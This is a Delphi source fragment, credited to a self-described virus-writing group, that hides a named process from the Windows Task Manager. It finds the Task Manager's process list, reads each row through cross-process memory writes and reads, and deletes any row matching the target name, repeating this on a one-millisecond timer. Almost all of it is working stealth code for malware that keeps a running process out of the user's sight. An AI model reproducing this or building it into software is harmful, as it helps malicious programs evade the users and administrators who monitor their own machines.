FUNCTION MaGChar(CONST S: STRING): STRING; VAR Ch: Char; L: Integer; Source, Dest: PChar; BEGIN L := Length(S); SetLength(Result, L); Source := Pointer(S); Dest := Pointer(Result); WHILE L <> 0 DO BEGIN Ch := Source^; IF (Ch >= 'A') AND (Ch <= 'Z') THEN Inc(Ch, 32); Dest^ := Ch; Inc(Source); Inc(Dest); Dec(L); END; END;
FUNCTION CacheCache(_Processus:STRING):STRING; VAR dwSize, dwNumberOfBytes, PID, hProcess:Cardinal; PLocalShared, PSysShared: PlvItem; wnd: THandle; iCount, i: integer; szTemp: STRING; BEGIN wnd := FindWindow('#32770', NIL); wnd := FindWindowEx(wnd, 0, '#32770', NIL); wnd := FindWindowEx(wnd, 0, 'SysListView32',NIL); iCount := SendMessage(wnd, LVM_GETITEMCOUNT, 0, 0); FOR i := 0 TO iCount -1 DO BEGIN dwSize := SizeOf(LV_ITEM) + SizeOf(CHAR) * MAX_PATH; pLocalShared := VirtualAlloc(NIL, dwSize, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE); GetWindowThreadProcessID(WND, @PID); hProcess := OpenProcess(PROCESS_VM_OPERATION OR PROCESS_VM_READ OR PROCESS_VM_WRITE, FALSE, PID); pSysShared := VirtualAllocEx(hProcess, NIL, dwSize, MEM_RESERVE OR MEM_COMMIT, PAGE_READWRITE); pLocalShared.mask := LVIF_TEXT; pLocalShared.iItem := 0; pLocalShared.iSubItem := 0; pLocalShared.pszText := LPTSTR(DWord(pSysShared) + SizeOf(LV_ITEM)); pLocalShared.cchTextMax := 100; WriteProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes); SendMessage(wnd, LVM_GETITEMTEXT, i, LPARAM(pSysShared)); ReadProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes); szTemp := PChar(DWord(pLocalShared) + SizeOf(LV_ITEM)); IF Pos(_Processus, MagChar(szTemp)) > 0 THEN ListView_DeleteItem(wnd, i); VirtualFree(pLocalShared, 0, MEM_RELEASE); VirtualFreeEx(hProcess, pSysShared, 0, MEM_RELEASE); CloseHandle(hProcess); END; END;
PROCEDURE TimerProc(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);STDCALL; BEGIN CacheCache('explorer.exe'); END;
PROCEDURE StartTimer(Interval:DWORD); BEGIN MyTimerHandle:=SetTimer(0,0,Interval,@TimerProc); END;
BEGIN StartTimer(1);
WHILE(GetMessage(Msg,0,0,0))DO BEGIN TranslateMessage(Msg); DispatchMessage(Msg); END;
{Coded By Agent-Hs32-Idir[V-P]} {MSN : Hs32-Idir@Virus-Products.Hack}